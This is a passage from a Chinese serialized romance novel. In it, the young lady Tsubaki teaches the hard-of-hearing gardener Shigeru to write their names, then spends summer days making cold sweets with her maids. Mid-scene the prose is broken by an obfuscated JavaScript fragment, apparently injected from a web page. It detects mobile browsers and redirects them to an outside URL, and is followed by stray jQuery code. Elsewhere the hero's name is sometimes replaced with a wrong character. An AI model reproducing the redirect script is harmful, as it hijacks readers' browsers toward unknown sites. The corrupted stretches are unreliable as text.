茂似乎并未立刻听见，依旧专注地低着头，用短锄清理着杂草的根部。直到椿又提高声音唤了一声，他才抬起头，循声望来。


    看到廊下的椿，他放下短锄，用手背抹了把额角的汗，快步走了过来，在廊前停下微微躬身行礼。


    椿看着他被晒得发红的脸颊，示意他：“上来廊下歇会儿吧，太阳太烈了。”


    茂犹豫了一下，还是脱掉了脚上沾满泥土的草鞋，赤着脚，安静地走上廊缘，在离她几步远的地方规矩地跪坐下来。


    椿转身回房，从带回的行李中拿出一个东京和果子老铺的精致漆木食盒。


    她打开盒盖，里面是做成各种可爱形状的落雁和琥珀糖，她将食盒推到洞面前，又给自己倒了一杯早已凉透的麦茶。


    “尝尝看，东京带回来的。”她说着，自己也拈起一块淡粉色的樱花状落雁，小口品尝起来。


    她一边吃，一边跟茂说起在东京的见闻。


    说起银座的繁华，博览会上新奇古怪的机械，也说起了一条家那对双生兄弟。


    茂安静地听着，时不时会从喉咙里发出一声低沉的“嗯”作为附和。


    他的声音其实是好听的，带着少年人变声期后略微沙哑的磁性，但他惜字如金。


    椿看着他的侧脸，想起他们都还小的时候。


    茂因为耳疾和随之而来的语言障碍，愈发沉默。她那时顽皮，偏要去逗他，硬是拦着他不让走，非要他多说点话。


    甚至捉住他的手，强行将他的掌心贴在自己的脸颊边，让他感受自己说话时唇角肌肉的翕动。


    “你看，就是这样。”她当时刻意放慢语速，夸张地做出“茂”这个音的口型，嘴角开合，气息拂过他的指尖，“很简单吧，试试看？”


    但茂只看了一眼她近在咫尺的脸，和她那不断开合的唇瓣，就像被火烫到一般抽回了手，背过身去，任她再怎么叫也不肯回头。


    那时廊下的紫藤花开得正盛，一串串垂落，光影斑驳。


    因为耳朵的问题，茂自幼便免去了许多需要言语应对的繁琐问候和社交，这或许也算是不幸中的一点便利。


    他总是沉默地做事，说不出漂亮话，不会奉承讨好，性子耿直得近乎笨拙。索性他还有一个在成濑家担任管事的父亲，多少能庇护他一些，否则在这人情复杂的世家大宅里，还不知会被欺负成什么样子。


    后来她也曾偶然撞见过几次，茂独自在无人的后院，对着水缸倒影或空无一人的墙壁，极其艰难地练习着发音的模样。


    他的脸会因为用力而涨红，脖颈青筋凸起，发出一些破碎而不成调的音节。但每当发现她的身影，他就会立刻停下来。


    仿佛刚才那笨拙而努力的一幕，是不能被她发现的、某种羞耻的秘密勾当。


    想到这里，椿放下手中的麦茶，对茂说：“你等一下。”


    她转身回屋，在书案抽屉里翻找了一会儿，取出一个簇新的硬质布纹纸的西洋式笔记本，以及一支钢笔，附带一小瓶蓝黑色的墨水。


    笔记本的纸张厚实光滑，钢笔握在手中颇有分量。


    她知道茂是有记东西的习惯的，用来记录园圃工作、物品清单或是其他需要备忘的事情。但他往日里用的都是毛笔和粗糙的和纸，不易保存，书写也慢。


    她把这些东西都塞到他怀里。


    茂有些愣怔地看着怀中的笔记本和钢笔，又抬头看向她。


    椿看着他，很认真地问道：“茂，想不想……真正地学字？”


    她小时候确实教过他一些，但那时贪玩，教的都是她自己胡乱组合、只有他们两人才看得懂的“字”。


    如今她是想问，想不想学习正规的文字。


    廊下的夏日，光阴仿佛被蜜糖黏住，流淌得缓慢而粘稠。


    灿金色的阳光透过庭院里繁茂的枫树缝隙，在深色的木地板上投下斑驳摇曳的光影，如同洒了一地的碎金。蝉鸣不知何时已连成一片，嘶哑而执着。


    茂抱着那本深蓝色封皮的笔记本和钢笔，依旧保持着规规矩矩的跪坐姿势，脊背挺得笔直。


    椿挪动了一下身子，与他并肩坐在廊缘，双腿自然地垂落在廊外，感受着木板传来的微温。她伸手拿过他怀中的笔记本和钢笔，翻开硬质的封面，露出里面洁白光滑的纸页。


    旋开笔帽，在那瓶蓝黑色墨水里蘸了蘸。


    “首先，”她侧过头，“从我们的名字开始，好不好？”


    茂没有出声，只是微微点了点头，目光专注地落在她执笔的手上。


    椿俯下身，将笔记本摊在并拢的膝上。她握笔的姿势优雅稳定，手腕悬空，开始在那雪白的纸页上，一笔一划地写下两个字。


    她的字迹带着女子特有的清秀。


    “成——濑——椿——”她一边写，一边慢慢地念出声。


    墨水在纸上游走，“看，这就是我的名字。”


    茂的目光紧紧跟随着她的笔尖，他看得极其认真，浓密的睫毛在眼下投下一小片阴影。


    接着椿在那两个字的旁边，稍隔开一点距离，又开始写下另外三个字。


    “石——川——茂——”她再次念出，声音依旧轻柔。


    现在纸页上并排躺着两个名字：“成濑椿”与“石川茂”。


    墨迹未干，在阳光下泛着湿润的光泽。


    茂的呼吸似乎停滞了一瞬。


    他怔怔地看着那两个并排的名字，看了很久很久。


    椿没有说话，只是安静地等待着。


    她能听到自己平稳的心跳，和茂那略微有些加重的呼吸声。蝉鸣在这一刻似乎也变得遥远。


    过了好一会儿，茂才像是终于回过神来。


    他抬起眼看向椿，椿对他微微一笑，将手中的钢笔递向他：“要试试看吗？先写你的名字。”


    茂犹豫了一下，才伸出那双布满细小伤痕和老茧的手。


    他的手很大，握住那支纤细的钢笔时，动作显得格外笨拙和僵硬，仿佛生怕一不小心就捏碎了这精致的物事。


    椿见状，很自然地倾身过去，伸出自己的手轻轻覆盖在他握笔的手背上。


    “放松点，”她的声音几乎贴着他的耳廓响起，带着温热的气息，“手腕不要太用力……对，就这样……”


    她握着他的手，引领着那颤抖的笔尖，缓缓落在那洁白的纸页上，就在她写的“石川茂”旁边，开始一笔一画地重新勾勒。


    她轻声念着，带动他的手腕运笔。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260275|197308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >横平，竖直，最后一笔落下。


    写完这三个字，洞的额角已经渗出了细密的汗珠，比方才在烈日下除草时更甚。


    他仿佛完成了一件极其耗费心神的艰巨任务。


    椿松开了手，赞许地点点头：“写得很好。”


    茂缓缓收拢手指。


    椿又指着纸上并排的两个名字，微笑着说：“看这是你，这是我。”


    茂的视线再次落回纸页上。


    他张了张嘴，喉咙里发出一个气音般的音节。那不是一个清晰的词，更像是一种情感满溢时的哽咽。


    但椿听到了。


    她微微一怔，伸出手轻轻拍了拍他依旧紧绷的手臂，动作自然而亲昵。


    “慢慢来，”她说，“我们有很多时间。”


    茂深深地看着她，然后目光投向了膝头笔记本上那并排的两个名字。


    夏日悠长，蝉声鼓噪。


    *


    暑期尚有旬日方尽，成濑椿每日里大多无所事事。


    父亲成濑万太郎为了即将到来的夏日祭典歌舞伎表演，终日忙碌于剧场与内弟子之间，无暇他顾。


    许是因她前番东京之行表现尚可，至少一条家后来的回信里，那些客套的只言片语皆是夸赞她“仪态端方”、“娴静知礼”，家中便也无人对她多立规矩，仿佛对她所有的期望，便是安分守己，乖乖待到日后风风光光嫁入一条家便是。


    天气愈发酷热，灼人的日头晒得连空气都微微扭曲。


    椿如今极少往那即便通风也难免闷热的训练场地跑了，连晚膳也时常缺席，只让阿冬去主屋传话，说是“天气炎热，实在没有胃口”。


    然后她常常拉着性子活泼的杏子，两人偷偷溜到厨房，捣鼓些解暑的物事。


    她们会取来井水镇过的寒天，用专用的工具压成细丝，盛在琉璃碗中，浇上自家酿造的浓口酱油和醋，再撒上一把木鱼花和切碎的海苔。


    有时又会将熟透的西瓜瓤挖出，与碾碎的薄荷叶、少许砂糖一起，用纱布过滤出汁水，再混入磨碎的白芸豆沙，倒入模具，做成冰凉清甜的“西瓜羊羹”。


    更多时候，是简单地将当季的蜜桃或杨梅捣碎，与冰块、少许蜂蜜一起注入凉茶。


    她们总会特意多做上许多，用大大的陶钵盛着，端到椿院落里那棵枝繁叶茂的罗汉松树下。石铺的庭院洒过水，带着湿漉漉的凉意。


    椿、杏子、阿冬，有时还会叫上恰好做完活计的石川茂，四人围坐在树荫下的凉席上，分食这些冰凉的甜品。


    茂总是沉默地坐在最外围，小口吃着递到他手中的碗盏，目光偶尔会掠过椿因满足而微微眯起的眼睛，然后又迅速垂下。


    她如今与成濑朔碰面的机会更是少之又少，偶尔一两次在连接各院落的回廊下不期而遇，也不过是维持着最基础的礼仪。


    然后便各自错身而过，再无多余言语。


    擦肩时椿的目光无意扫过他腰间，并未见到那条她仓促间剪裁的素色腰带。


    她心下微微一顿，随即释然。那本就是带着毛边的廉价物件，算不得什么礼物，或许在他看来更像是某种漫不经心的羞辱，转头便丢弃了也属正常。


    她并未将此事放在心上。